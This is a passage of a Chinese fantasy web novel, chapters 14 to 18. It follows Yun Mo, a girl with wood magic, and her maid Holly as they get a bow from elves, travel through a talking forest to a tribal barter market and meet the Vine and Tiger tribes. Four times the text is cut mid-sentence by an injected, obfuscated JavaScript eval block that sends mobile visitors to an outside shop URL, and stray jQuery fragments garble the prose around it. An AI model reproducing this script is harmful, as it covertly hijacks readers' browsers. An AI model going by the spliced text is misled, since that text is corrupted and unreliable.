原身父母个头都很高挑，玛雅姨妈也绝对在175公分以上。如今的云漠营养跟得上，运动量和休息也足够，以后绝对不可能矮！ 笑归笑，紫叶倒没多少坏心眼儿。 因为云漠现在的身高真的就等同于精灵族中的幼崽，紫叶家里还有以前用过的旧弓箭，因时常保养，性能非常完好。 紫叶还挺喜欢这个人类的，关键是做饭好吃，就想着如果对方不介意，可以直接把那套旧的送给她，就不额外要糖果了。 毕竟以精灵吹毛求疵的个性，制作一把新弓箭怎么也得几个月。 哦，只是制作，精灵不能不雕花！ 再加上雕花，起码要一年。 白给？！ 云漠一双眼睛睁得圆溜溜的，回答铿锵有力，“旧的！” 她等不了一年！ 而且，白给哎！ 谁能拒绝免费的诱惑！ 反正她不能！ 分别时，银星告诉了云漠一个新消息： 以后不能在这里见面了。 “人类正在往东部边缘集结，我们必须加强巡逻……” 新的巡逻地点离这边有点距离，哪怕以精灵的速度，往返也需要很久。 云漠松了口气，不是要断绝往来就好！ 这算什么呢？ 山不就我，我就山！ 不过，人类为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202926|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么要集结呢？ 是不是跟最近精灵们武装起来有关？ 该不会要打仗了吧？！ 银星轻笑出声，笑容如月光皎洁，“不是战争，是集市。” “集市？” “对，集市。” 精灵口中的集市并非传统意义上的某种长期贸易地点，而是专门的名词。 就像之前玛雅姨妈提到过的，种族混战后，许多人类不满贵族的不作为，纷纷谴责是他们的任意妄为才导致了灾难，所以主动脱离了各国统治，回归部落或游民形态。 但不管什么形态，总要过日子。 可即便一个人再如何得到神明眷顾，也不是全知全能，就必须与外界换取物资。 因脱离国家形态，这些人找不到公认具有货币价值的中间物，干脆就开始以物易物。 集市就此诞生。 所有部落和游民都承认的，有固定时间和地点的大型集市一年四次，分别位于冬末春初、春末夏初、夏末秋初和秋末冬初，为的是清理掉手头多余的积压货品，换取新的物资，以应对气候变换导致的不同需求。 距离交易地点近的部落，这四次集市基本都会参加。 而离得远的，则会挑选其中一两个，提前十几、甚至几十日启程。 类似的集市在许多地方都有雏形。 集市贸易期间，由各部落的大巫亲自作保，最出色的战士为后盾，严禁欺诈、劫掠，更不许无故恶斗。 一旦有人明知故犯，就会被打上耻辱的烙印，被所有部落驱逐。 这种模式能保护很多弱小的部落延续下去。 人类之间或许存在内斗，但面对天灾、野兽，抑或其他种族的威胁，大家必须联合起来。 当然，如果部分人有额外的需求，也可以私下单独商议，临时开启小型集市，或单对单定向交易。 但私下交易不受公共保护，风险比较大，一般发起和参与的都是公认最强大的，有自保能力的几个部落。 云漠一听，来了精神。 我们也有特产啊，糖！ 可以用糖交换布料、皮毛等日常用品，就不用她们亲自上了！ 但紫叶的表情有点臭臭的，抱着胳膊哼哼道：“阿卡达……夫斯克！” 人类，坏的！ 在精灵眼中，普通人类和木系魔法师完全是两个物种。 一想到再过些时候，浩瀚森林外围就会聚集起一堆臭烘烘的人类，紫叶就高兴不起来。 对大部分部落而言，淡水都算珍贵物资，而且弄湿身体容易生病，所以相当一部分人类一辈子也洗不了几次正经澡。 这么一大群发酵生物聚集在一起，简直能要了洁癖精灵们的命！ 精灵对人类的嫌弃溢于言表，但碍于五十年前各种族签订的停战协议，倒也不会阻止对方在森林的西半区活动。 只要不跨过冷水河主干，精灵们就不会出手干涉。 精灵族向来言而有信。 次数多了，甚至还会有部分好奇心重、忍耐力强的精灵披上斗篷，欲盖弥彰地挡住那双标志性的尖耳朵和绿头发，大大方方游走在集市中。 多有趣啊！ 云漠期待极了，两只眼睛闪闪发亮，“我该走那条路呢？” 15. 第 15 章（捉虫） 银星为云漠绘制了简单的地图。 浩瀚森林真的太大了，如一条史前巨琨。 穿插其中的冷水河就像鱼的脊骨，沿途支流是脊骨上分出来的杂乱细刺，而两侧的浩瀚森林则组成了庞大的鱼身。 鱼尾是遥远西北方的巍峨黑山，至于鱼头，在更遥远的东部。 流出浩瀚森林的冷水河就像鱼嘴吐出的水，经过无数彻夜不息的奔流，终将汇入大海。 银星伸出纤长的手指，轻点其中一根“鱼刺”，又往东移动，停在另一根靠近“鱼脊”的“鱼刺”上，“这里。” 每次大型集市的参与人员都高达数千，小型支流根本承担不起日常用水，这种支流和主干交汇处的平缓坡地就成了首选。 而恰恰因为靠近主干，又同时汇聚各人类部落的强大战士，战斗力惊人，自然而然的形成了一种微妙的局面： 说得不好听一点，随时可以对河对岸的精灵国发动突袭，这也是每到季节更迭时，精灵族都会加强边境巡逻的原因。 云漠询问了精灵们花费的时长，又根据大致比例简单估算了距离，得出结论： 如果要携带大量物资进行大宗交易，就必须坐马车，速度就慢下来了，一个往返可能就需要十天半月。 若期间深入交谈、提物、议价，可能需要滞留，则战线更长。 骑马倒是快，卯足劲儿三四天就能跑个来回，但承载量有限，带不了多少东西。 对云漠而言，这又是一条全然陌生的路。 未知就意味着危险，意味着迷路的可能。 银星看出她心中的担忧，浅笑起来，“森林会指引你。” 森林…… 云漠下意识回头，恰见大风掠过，茂密的枝桠随着无形的大手纷纷低下头颅，浓翠、深绿、浅碧……各种各样的绿色充斥着她的眼球，油画般层层铺开。 在这一刻，这片浓翠的海洋仿佛活过来了似的。 精灵吟咏般动听的嗓音再次在她耳畔响起，“森林是我们的伙伴，你要学会信赖……” 就像鱼离不开水，木系魔法师天然就该与森林亲近，这个孩子显然还没适应身份上的转变。 双方约定明天上午最后一次在这里碰面，紫叶把弓箭拿来给云漠后就会马上离去。 而作为巡逻队长，银星则需要连夜赶往新的巡逻地点，进行新的部署，明天就不过来了。 晚上回家跟玛雅姨妈和霍莉一说，大家都觉得有必要前往集市。 她们到来时已是冬末春初，最凌冽的严寒已经过去，但夜里还是冻得人骨头疼，可想而知，那真正的漫长冬季会是多么难熬。 石头搭建的坚固城堡固然可以抵抗狂风暴雪，但也会让室内冷得像冰窖…… “夏天快到了，我们需要轻薄的织物做衣服。哦，还有床单、窗帘、桌布……天热后小飞虫会很多的，最好再弄点细密透气的布料做帐子。”玛雅姨妈不知从哪里搞来一卷羊皮纸，拿着碳条，边说边在上面写写画画，“针线也要一点，粗针缝大件，细针缝细致活儿。” 现在的织物全都是天然的棉麻丝毛，半点不掺化纤，极易破损。 来的这不到一个月，霍莉的两件衣服就因为不断劳动而磨出几个大洞。 这会儿的金属冶炼工艺水平有限，做不出现代化缝纫针那么精细的小零件，通用的还是骨针。 细密的针脚则需要用特定的鱼骨，天然带尖儿，也足够柔韧。 只是骨头容易风化、干裂，平时要么放在水中泡着，要么经常涂抹油脂滋润。 “您真是太细心啦，亲爱的姨妈，我都没想到这么多！”云漠立刻奉上真诚的赞美，“如果没有您，我可该怎么办呀！” 这是真话。 现代网络和生活的便捷让云漠丧失了一部分整合能力，她又是个不怎么讲究生活质量的人，如果没有玛雅姨妈把关提醒，确实有很多方面考虑不周。 这些细节不致命，但绝对会给生活带来巨大的阻力，严重降低幸福感和便利程度。 霍莉也有样学样，洪水倾泻般释放了无数甜言蜜语。 玛雅姨妈被哄得合不拢嘴，日益光洁的面颊上泛起幸福的喜悦，“当家可不是什么简单活儿……不过你们还小呢，以后都会懂的。 云漠和霍莉都是一副受教的样子，虚心聆听，引得玛雅姨妈越发兴致高涨，又滔滔不绝地说了许多，最后嘴巴都干了，只好停下来喝茶。 在云漠的带动下，霍莉也开始“大手大脚”起来：她竟往茶水中加了一勺麦芽糖！ 老天！ 回想起来，霍莉简直要晕倒： 我什么时候变得这样了！ 但甜丝丝的茶水真的好好喝啊，嘿嘿！ 喝完茶，会议继续。 “兔皮太薄，还要厚重的野兽皮毛过冬。”玛雅姨妈想了下，继续补充：“另外盐也不多了……还有燃料。” 她抬起头来，揉了揉脖子，“木柴烧起来太快了，我们人手有限，不一定能赶在冬日到来前储存到足够的柴火……” 滴水成冰的时节，缺少燃料就等于死亡，这点谁都明白。 “黑石，”云漠一锤定音，“还要可以燃烧的黑石。” 人类发现并使用煤炭的历史非常悠久，虽然现在大家都不知道原理，但这种黑乎乎的可燃石头早已作为珍贵资源流通。 如果换不到煤炭，那么云漠只好尝试着自己烧制木炭了。 木炭远不如煤炭耐烧，而且释放的热量也低于后者，但也比原始木头强多了，就当备选吧。 地里的庄稼不能没人管，玛雅姨妈主动提出留家。 “我不会赶车，力气也不够大，跟去白白浪费车厢，就留下驱逐鸟儿吧！” 春天到了，不少候鸟回归，都对脆嫩多汁的麦苗虎视眈眈。 前几天她们也做了几个假人，一开始很有效，可那些鸟儿和松鼠之类的小东西也很精明，连着观察几天，发现假人不能发动攻击后就卷土重来。 而且家里还有那么多鸡要喂养呢，又要天天捡蛋，过几天说不定还要再带着它们去地里吃虫子…… 玛雅姨妈越想越觉得走不开。 这家没我不行！ 云漠抱了抱她，“那好吧姨妈，你一个人在家一定要当心，每天睡觉前检查门窗，天黑后就不要出门啦。” 其实现在倒是比冬天更安全。 冬天人和野兽缺吃少穿，就容易铤而走险。 可现在春回大地，万物复苏，山林中充满了生机，野兽都懒得下山了。 次日，云漠如约与紫叶交接了，接下来的几天都窝在家里温习箭术，催生麦苗、大米，疯狂制作麦芽糖。 现在的她还太弱了，麦芽一次的极限就是40棵左右，大米因为要直接催生到结穗，消耗更大，难度更高，一次最多13株。 再多就容易失败。 在一个细雨蒙蒙的清晨，玛雅姨妈目送云漠和霍莉离开城堡。 远处的山林中起了雾，湿漉漉白茫茫一片，随着空气流动描绘出风的形状，如梦似幻。 吱呀呀的马车很快融入晨雾中，消失不见了。 马车里塞了十罐麦芽糖、五篮糖瓜，因为麦芽糖不仅可以当零嘴儿，还能做菜、调制饮品，还具备一定战略物资的价值，且密度高、体积小，容易保存， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202927|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所以销量一定会比糖瓜好。 除此之外，还有许多加班加点做出来的熏肉、水煮蛋、风干蘑菇，以及烤面包。 这是她们的口粮。 因为现在云漠是魔法师了，前途可谓一片光明，玛雅姨妈特意把面粉过筛，将里面粗糙干硬的部分筛出去，所以整体口感提升很多。 至少干燥时砸不死人了。 云漠差点感动到流泪。 我脆弱的食管和肠胃，终于解脱了！ 虽然有精灵提供的地图，但以前从没有人从城堡前往集市，也就是说，没有现成的路。 她们只知道大致方向。 这直接就让本次出行充满挑战。 但云漠从来不怕挑战，她边赶路边尝试与沿途的植物们交流。 银星说过，要试着相信森林、依赖森林，它们会是你最可靠的战友和伙伴。 不同于单纯的信息传递，“交流”，尤其是跨种族的情感交流，是高等智慧生物特有的技能，需要双方同时协作。 现在云漠能感受到周围植物们的生命力、情绪，但真正实现相互理解，并能就具体内容往来“交流”的植物品种并不多。 不过有几种大型树木的“外语天分”极其出色，完全可以充当翻译的角色，负责云漠和其他植物们之间的信息流通。 很好，问题完美解决！ 渐渐地，云漠发现了一个有趣的现象： 如果说沉睡的种子像小孩子，不管做什么都需要你手把手引导，那么开启灵智的植物就是性格各异的独立人。 它们甚至会主动观察你，自己选择是否合作。 随着对木系魔法元素掌握得越来越纯熟，云漠非常清晰地感觉到自己与植物们之间的交流越来越通畅，原本横亘在两个种族之间厚厚的隔膜，正在迅速变得透明。 再后来，有些性格活泼的大嘴巴植物还会主动跟她搭话！ 比如被她命名为【灰杉】的大型乔木，绝对是植物中的高智商，而且性格外向，非常健谈。 这些直径动辄六七米的参天巨木，年纪竟然都很小？！最大的也才三四十岁而已。 据说是以前的老祖宗们都因为某些原因死去了。 云漠再次为造物的神奇感叹。 她简直不敢想象密林深处那些真正的“古木”，会是何等壮阔的体型。 等以后有了机会，自己一定要亲眼看看。 不知植物们用了什么方法，密林里来了个木系魔法师的消息飞速传播！ 每当马车走到一个新地方，周围那些巨型小年轻们就会交头接耳： “看，人类！” “小小的，很可爱！” “干净的……” “玩儿火，真可怕！” 当时云漠正跟霍莉做晚饭，听到这句话后默默地加宽了篝火周围的隔离带，然后忍不住想，我可真像动物园里被围观的马喽…… 见云漠如此体贴，灰杉们的谈兴更浓了！ 好久没有能听懂树话的人类来啦！ 大部分时间，云漠都会跟它们聊会儿天，得知每年这个时候确实会有好多人类在外围活动，大体方向也很清晰。 但有的植物真的太聒噪了！ 她只好装聋。 “讨厌的灰猴子又来了，不喜欢它在我身上标记……猴子讨厌。” “树洞又大了，吸好多水……” “好痒好痒好痒……” 灰杉一棵树就具备五百只鸭子的威力，呱唧呱唧说个不停。 最可怕的是，附近足足有十多棵！ 平生第一次，云漠觉得木系魔法师也不那么享福…… 16. 第 16 章 但灰杉们又实在是个好伙伴，大半夜还声嘶力竭地将云漠从睡梦中唤醒： “蛇，嘶嘶，坏蛇，嘶嘶……” 那是一条有着环状红斑的剧毒蛇，足有人类上臂那么粗，哪怕不喷洒毒液，全身上下几千块强有力的肌肉也能爆发出恐怖的力量，在短短数秒内将人绞杀。 守夜中的霍莉差点惊得跳起来，勇敢地举着火把上前驱逐后又一个劲儿自责。 “我真是太没用了！”她沮丧且后怕地说，当场对自己第一贴身女仆的身份产生了怀疑。 “这不能怪你，”云漠安慰道，“它们可是天生的猎食者。” 大半夜的，人类怎么能跟蛇比潜行！ 而且这些天霍莉也够累的，白天赶车，晚上又要轮流守夜，期间不知成功驱逐过多少小动物，怎么能因为一次失利就否定她的能力呢？ 成功躲避危险的云漠决定报答，主动问灰杉：“有什么我可以帮你的吗？” 大树竟然有点羞赧，犹豫了半天才说希望她帮自己把身上的某根藤蔓挪走。 藤蔓常常攀附大树生长，但如果悬挂的藤蔓太多太紧，也有可能杀死大树。 刚下过雨，树皮有些湿滑，云漠费力地爬上去，果然发现树干的中部被大片藤蔓死死缠住，已经严重变形了。 多数植物靠外皮传递养分，这种环绕式绞杀是它们统一的噩梦。 云漠严厉地教训了藤蔓这种自私的行为，谁知对方立刻就反馈过来一个挑衅的信号： 管不着，略略略！ 云漠：“……” 干！高智商反社会！ 她也不废话，直接掏出匕首，将这一段藤蔓形成的死结一点点割断、掰下来丢掉，又爬下去，将深埋在地下的根都挖了个七七/八八。 临别前，她用力拍拍看上去已经恢复了元气的大树，“我会再来看你的！” 植物根系很难一次性清理干净，如果放任不管，说不定以后那记仇的藤蔓会变本加厉报复回来。 大树发出依依不舍的声音，又慷慨地对云漠敞开树洞，“亮闪闪，亮闪闪……” 亮闪闪？ 云漠好奇地伸手去摸，掏出一个裹满了落叶和苔藓的硬块。 大约拳头那么大，不算太重。 她用水简单冲洗，然后目瞪口呆。 这是，宝石？！ 硕大的绿宝石原石在微弱的光线照耀下熠熠生辉，哪怕未经雕琢，也无法掩盖它的光彩。 霍莉目瞪口呆，“好大！” 她曾有幸远远见过几位贵族镶嵌着宝石的手杖，可最大的一颗在这颗宝石面前也要相形见绌了。 云漠忽然有点晕眩。 这得有多少克拉？！ 但似乎又不同于寻常的绿宝石，她竟然觉得有些亲切…… 大树絮絮叨叨地说，这个树洞里原本住着灰鼠一家，但某一天，它们出去后就再也没回来。 也许是死了吧，大树想。 现在，亮闪闪是云漠的啦！ 云漠越看越喜欢，美滋滋收起来，决定以后请见多识广的精灵帮忙辨认一下。 冷水河发源于无尽黑山深处，上游穿插有无数个因为落差巨大形成的小瀑布，中游大拐弯处才开始放缓，周遭地面以石滩为主。 云漠和霍莉沿着支流又走了两天，环境发生明显变化： 整体地势平坦舒缓，大型植被数量变少，落叶层变薄，甚至出现大片大片裸\露的黑褐色土壤。 “这地看着可真肥啊……” 云漠感慨，随后发现了许多切口相对整齐的树桩，土地也被踩得平整、发亮。 典型的人类活动痕迹。 说明这个区域经常有人类活动、清理，所以连杂草都没机会长出来。 马车又往前走了一段儿，已经能隐隐听到说话声，场地内的格局也看得见了。 好多人啊！ 光云漠视线范围内就有3个以上的族群，最小的一个也有将近10人，最大的那个规模跟一个班级差不多，能有4、50人的样子。 要知道，这可是单纯的短期贸易，而非迁徙，肯定不可能全族出动，来的只会是具有交易和战斗天赋的成员。 而且保险起见，必然也要留下强者守家…… 想到这里，云漠大致估算了各个族群的整体人数和构成，得出一个相当惊人的数字。 人数最多的部落成员们穿着风格统一的织物，正在搭建营地。 不，与其说是搭建营地，倒不如说是搬家，因为那些用木头和泥巴建成的房屋有很明显的居住、修补痕迹，门口上方和烟囱的位置熏得黑乎乎的。 成员们搬着陶罐、被褥等日常生活用具出出进进，熟门熟路。 她们的动作非常娴熟，整体布置也井井有条，显示出相当的组织性和纪律性。 她们甚至还悬挂了窗帘！ 帘子材质有些像帆布，非常厚重扎实，中央以青绿色颜料绘制出抽象的藤蔓纹样，流露出古朴而神秘的气息。 偶尔一阵风吹过，布帘缓慢摇摆，上面的藤蔓好像也活过来似的。 其中一位中年女性尤其引人注目： 她抓着一根镶嵌宝石的手杖，面部、脖颈等露出来的皮肤上绘满古朴的花纹，举手投足间有种说不出的韵律。 那是大巫，部落的实际决策人，地位最高者。 霍莉忍不住小声说：“小姐，她也有绿色宝石哎。” 云漠也发现了。 对方手杖上镶嵌着的绿色宝石跟灰杉回赠给自己的那块感觉好像，温和、包容、亲近，只是好小，大约只有椰枣那么小，细长的一条。 看上去各个部落都有自己的固定活动区域，云漠和霍莉没有贸然上前，只安静地待在林中观察，准备找个不起眼的地方安营扎寨。 她们自认没有发出半点动静，可谁知下一刻，那位大巫就开始频频回首，最后竟直接锁定了她的藏身方向。 霍莉立刻紧张起来，有种被抓包的心虚，“小姐……” 不对，我心虚什么？ 这里虽说已经出了阿索城领地，但也是公共区域呀，凭什么我们不可以来？ 云漠一怔，竟也觉得对方有点亲近。 多奇怪呀，她们分明素未谋面…… 不对，不奇怪。 云漠看看对方的手杖，再看看她身上蜿蜒的藤蔓图案，生出一点大胆的猜测： 对方也是木系魔法师！ 云漠之所以觉得对方亲切，对方之所以能够发现她，都是因为她们的木系魔法元素亲和天赋，正不断与周围的木系魔法元素隐隐共鸣，形成了外人感觉不到的元素涟漪！ 意识到这一点之后，云漠瞬间安心： 对方可能天赋不高。 因为真正强大的魔法师完全可以收放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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建材就用这一带常见的藤蔓，从地下催生，向上绕着两根树枝和树干打桩，然后打造一座5x5米的方形屋子，最后四面墙向内汇聚成尖顶，一起缠绕到上一层树杈上去，坚韧结实。 云漠简单估算了下，选中的树杈离地面约12米，树屋挑空3.5米，房顶里上方树杈约3米，单根藤蔓至少需要18米长才够得到。 为保证坚固，起码要4厘米粗。 单面墙是5米宽，一共4面，再加上地板25平方米，扣掉单独成型、后期安装的门窗和烟囱，第一阶段的框架结构大约需要542根。 催生“建材”需要全程控制粗细、观察是否笔直，是否足够结实，还要兼顾角度和方向，才能保证最终成品方正、不留空隙。 非常费精力。 为保证质量，现在的云漠一次只能催生一根，然后就要休息大约10分钟。 哪怕不算催生过程，二十四小时不眠不休，一天也只能催生144根，全程大约需要4天时间。 再扣掉睡觉时间，差不多需要6天。 但对盖房子这件事本身来说，6天入住已经算神话。 现代社会多少烂尾楼啊！ 云漠很知足。 17. 第 17 章 接下来的几天，除了吃饭睡觉，云漠都在疯狂催生藤蔓！ 很累，非常累，为了再快一点，云漠每次都要把自己的精神力榨干，活像一台木得灵魂的魔法机器。 她在尝试榨取自己的潜力极限。 科学界有一种说法，人类对自身的开发微乎其微，如果能成功开启基因锁，那么人类将无所不能。 曾经有弱不禁风的母亲看到自己的孩子从高楼坠落，瞬间爆发出远超世界短跑冠军的速度，成功接住高空坠落的婴儿； 有人目睹亲人被压在车轮下，疯狂崩溃时，竟以一己之力抬起重达两吨的汽车一角…… 类似的案例虽然不多，但确实存在，也足以说明人体蕴藏着无限潜能。 而现在，云漠就感受到了这股潜能。 一开始精神力耗尽时，她头疼欲裂，甚至当场呕吐、昏迷，吓得霍莉和托尼吱哇乱叫。 但随着次数越来越多，她的不良反应也越来越小，一次催生的藤蔓也从一根慢慢升为一根半、两根。 甚至精神力恢复的速度也加快了。 简单来说，就是作为容纳精神力的容器本身，云漠的身体，单位时间内可储存的精神力增多了，输入、输出口也被拓宽了！ 她升级了！ 变强了！ 还没秃！ 云漠可以清晰地感受到这一系列变化带来的好处： 催生植物几乎成了本能，她不再需要像以前那样苦苦与魔法元素沟通、引导，只要一个念头，木系魔法元素们便乖乖配合。 那么老大一个树屋以肉眼可见的速度成型，几乎引起了营地所有人的注意。 率先发现的是藤部落的大巫。 她第一时间感觉到木系魔法元素的异常活跃，观察后震惊地意识到，那个女孩儿的实力远比自己想象的还要强大。 大约120年前，藤部落曾出过一位强大的木系魔法师，她的出现，直接奠定了后来藤部落的地位和发展走向。 可惜的是，她陨落在百年前开始的各族混战中。 这不仅是藤部落的损失，更是整个人类世界无法挽回、不可替代的损失。 大巫绿藤就是那位魔法师的后人。 可惜元素亲和天分太稀有了，哪怕是直系血脉，绿藤也未能继承到多少。 她只能感知植物们的情绪和需求，却不能与它们直接沟通，更无法释放魔法。 而那个女孩儿，竟然能完美流畅地释放魔法？！ 她还那样年轻！ 云漠盖房子的两天里，大部队开始陆续抵达，原本空旷的场地瞬间热闹起来，到处都充斥着热烈的交谈声。 像藤部落那种规模的寥寥无几，贸易队伍的人数大多都在十人上下，还有好多三三两两，甚至一个人来的。 大部分人会在身上绘制图腾、佩戴各具特色的珠串，应该是代表不同的信仰。 根本不用深入调查，各方实力水平一目了然： 整体实力强的部落，成员们大多体格健壮，精神饱满，而且穿戴比较统一； 反观那些弱小的部落，本来人就少，还各个面黄肌瘦，双眼无神。她们的衣着都很破旧，有的只能用树叶遮挡重点部位，有的甚至干脆就赤条条。 如果一个人连基本的温饱都不能保障，自然无暇产生羞耻感。 其中最吸引眼球的是一个以猛兽为图腾的部落： 这个部落的规模仅次于藤部落，大约有30人上下，带头的是一名二十来岁的年轻女战士。 天气还很有些冷，她身上的兽皮却只遮挡要害部位和关节，露出的身材高大健壮，肌肉健美结实，被汗水浸透了的蜜棕色皮肤在阳光下闪闪发亮，与背后巨大的石斧同样惹眼。 她的胸口赫然是一只栩栩如生的狰狞虎头，正随着呼吸缓缓起伏，仿佛真的有生命一般。 那是她们的部落图腾。 按时献上贡品和忠诚的信仰，兽神会赐予超凡的力量，保佑大家平安活下去。 成员们几乎各个体格健硕，行进间像一支训练有素的军队，中间还有一人背负着一名头发花白的年老女性。 那名女性身上流露出的神秘气息与藤部落那位如出一辙，因此云漠立刻就断定她应该就是这个部落的大巫。 背负石斧的女战士目光炯炯，姿态坦荡，所到之处人人避让，好多人还会以下位者的神情客客气气跟她招呼，显然名声在外。 虎部落来得偏晚，却理所应当地占据了最好的一块地盘，没有任何人提出异议。 从生活便利程度上来看，位置甚至比藤部落的还要好。 在虎部落到来之前，那几座屋子都空着，但哪怕很多人无处藏身，也没动过蹭住的念头…… 虎部落似乎跟藤部落很熟，到达之后尚未安顿好，石斧女战士就和大巫一起与藤部落的高层进行了会谈。 距离很远，云漠听不清她们说什么，看上去好像很郑重的样子。 不过当天晚上，云漠就意外接到了小报告。 大树托尼说的。 据说是两个部落首领们会面现场的几株小草传递给了边缘的灌木，灌木报告给了小树，小树报告给了大树，大树又当八卦讲给了托尼，最后被托尼美滋滋地分享给了自己的人类朋友。 云漠：“……” 好一条完整的小道消息传播链！ 你们还怪八卦的嘞！ 云漠虽然没办法跟小草和灌木沟通，但托尼能啊！ 难怪精灵族喜欢跟植物交朋友，这就是无处不在的摄像头嘛！ 要是哪天穿越回去，自己就算不当特级园艺师震惊世界，也能做个无孔不入的狗仔搅风搅雨…… 托尼吧嗒吧嗒讲了半天，东一榔头西一棒子的。 众所周知，当一则消息被层层传递时，必然产生信息偏差，更有甚者，会得出与原本事实截然相反的结论。 在经历复杂的信息缝合和各种推断、脑补之后，云漠得出一个基本接近事实的结论： 藤部落擅长耕种和编织，盛产粮食、布料和药材，而虎部落则擅长捕猎、制皮，双方维持着长期且稳定的物物贸易，各取所需。 两边都要与沿海几个部落交换食盐，今年虎部落本就因为某些原因来得稍微晚一点，结果到了之后却发现，卖盐的比自己还晚！ 石斧就有点担心，怕对方是不是路上出了什么意外，特意找藤部落的人询问来着。 绿藤也有类似的担忧。 红肉和淀粉类主食才是储存脂肪和热量的最佳选项，近海鱼肉虽多，但热量低，不耐消耗，而且砂质土壤也不适合种植，为了应对漫长而酷寒的冬季，沿海几个部落也会参加集市。 固定来这边交易的海边部落有两个，一年只会来两次，换回粮食、肉干和皮草。 因为距离这边比较远，途中的不确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202929|139219||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定因素就很多，以前她们就曾遭遇大批野兽和某些心怀叵测的敌人的伏击。 万一不幸言中，集市这边的所有部落都要面临空前危机： 缺盐。 其实往西北大约十日路程的山里有一片特殊的岩石，会定期“长”出灰白色的粗糙颗粒，富含盐分，许多动物都会前往舔食。 但不知是不是动物吃剩下的缘故，还是掺杂了什么奇怪的东西，那盐巴的味道又苦又涩，长期摄入还会嗓子干痒肿痛，严重时甚至难以进食。 强大的战士尚可自我恢复，幼小的孩童和老弱却经不起任何风险。 之前就曾有孩童喉咙严重水肿，窒息而死。 长期生活在海边的几个部落可以做出非常细腻的白盐，几乎没有任何异味和不良反应，历来是大家最热衷的货品。 最紧缺的时候，一碗海盐甚至可以换足足两头野猪。 大海慷慨地赠与了盐巴，却也强加给沿海部落长达三分之一轮的漫长冬季。 据说冬日凌冽的海风硬得像石头，利得像刀子，日夜不息的大雪犹如白色死神，会封锁富饶的海面，冷酷无情地收割遇到的一切生灵…… 会谈结束时，绿藤话锋一转，说起不远处的林中树屋，石斧和虎部落的大巫也有些惊讶，对视一眼，没有着急表态。 从种族方面说，人类力量增强，自然是好事。 但很多事情并不那么简单。 虎部落信奉的是兽神之下的虎神，木系魔法师则大多得到自然女神的眷顾，而兽神曾与自然女神发生过不止一次冲突，关系并不算和睦，双方的信徒也多摩擦。 别看现在藤部落和虎部落还算有来有往，都是形势所迫。 对方那位木系魔法师没有陨落，各部落还在各国辖下时，也是互看不顺，没少争地盘。 石斧现在还不清楚这位新晋木系魔法师的底细，也不比藤部落有渊源，便决定先观望再说。 两边分别时已入夜，外面火把照不到的地方幽暗如墨，伸手不见五指。踏入黑暗的瞬间，石斧双目瞳孔瞬间放大，视物犹如白昼。 这是得到兽神赐福才会有的能力。 石斧护送大巫回到位于营地中央的屋子，在室内等候的小姑娘立刻迎上前，搀扶着大巫落座。 她只有9岁，脸上稚气未脱，但眉宇间已经有了远超同龄人的沉稳和智慧。 这是大巫亲自选定的继承人。 等大巫坐稳，石斧才在她对面坐下，恭敬问道：“您怎么看呢？” 篝火噼啪燃烧，摇曳的火光将大巫的身影无限拉长，投射到墙壁上，不断扭转，像无法预知和掌控的未来。 她的皮肤松弛、垂落，雪白的头发稀稀拉拉，勉强在脑后扎了个小辫子，一动不动坐在那里时，仿佛一具松散的尸体……她已经很老了。 族人们根本记不清大巫究竟有多少岁，但所有人都知道她是整个部落的主心骨，是无数智慧的化身。 只要有需要，大巫甚至可以直接与神明沟通，进而获得指点。 良久，大巫沙哑而苍老的声音徐徐响起，“我曾于睡梦中看到宽敞的大路，道路两旁开满鲜花。” 抬头看人时，她的眼睛依旧像年轻时那么清澈明亮。 神明的指点晦涩难懂，饶是大巫也不敢说完全参透。 但根据以往的经验来看，这并非坏事。 于是石斧便松了口气。 18. 第 18 章 第二天一大早，云漠迎来访客。 来的是藤部落的使者，一名30岁上下的女性，送来了许多布料和长袍。 首先是一大叠未经过裁剪的厚布，质地比较粗糙，非常结实，表面有许多明显的结，很像亚麻，可以用来做帘子、桌布等大块裁剪，经久耐用。 还有几件圆领长袍，款式非常简单，就是把两片布对折缝合后挖洞，身前贴布片当口袋。 长袍的料子明显要优于前面的厚重布料，或许植株品种不同，或许经过了某种特殊处理，更加柔软细腻，手感介于棉布和丝绸之间。 成衣之外，甚至还有几块同款未裁剪的料子，可以说考虑得非常全面了。 